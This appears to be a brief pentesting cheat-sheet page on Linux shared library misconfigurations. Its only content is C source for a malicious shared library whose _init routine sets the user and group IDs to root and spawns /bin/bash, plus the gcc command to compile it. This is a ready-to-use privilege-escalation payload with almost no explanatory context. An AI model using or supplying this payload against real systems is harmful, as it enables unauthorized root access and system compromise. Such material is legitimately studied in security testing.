Shared Library Misconfigurations
Shared Library Misconfigurations
Exploitation
// libhello.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/bash");
}gcc -shared libhello.c -o libhello.so -fPIC -nostartfilesReferences
Last updated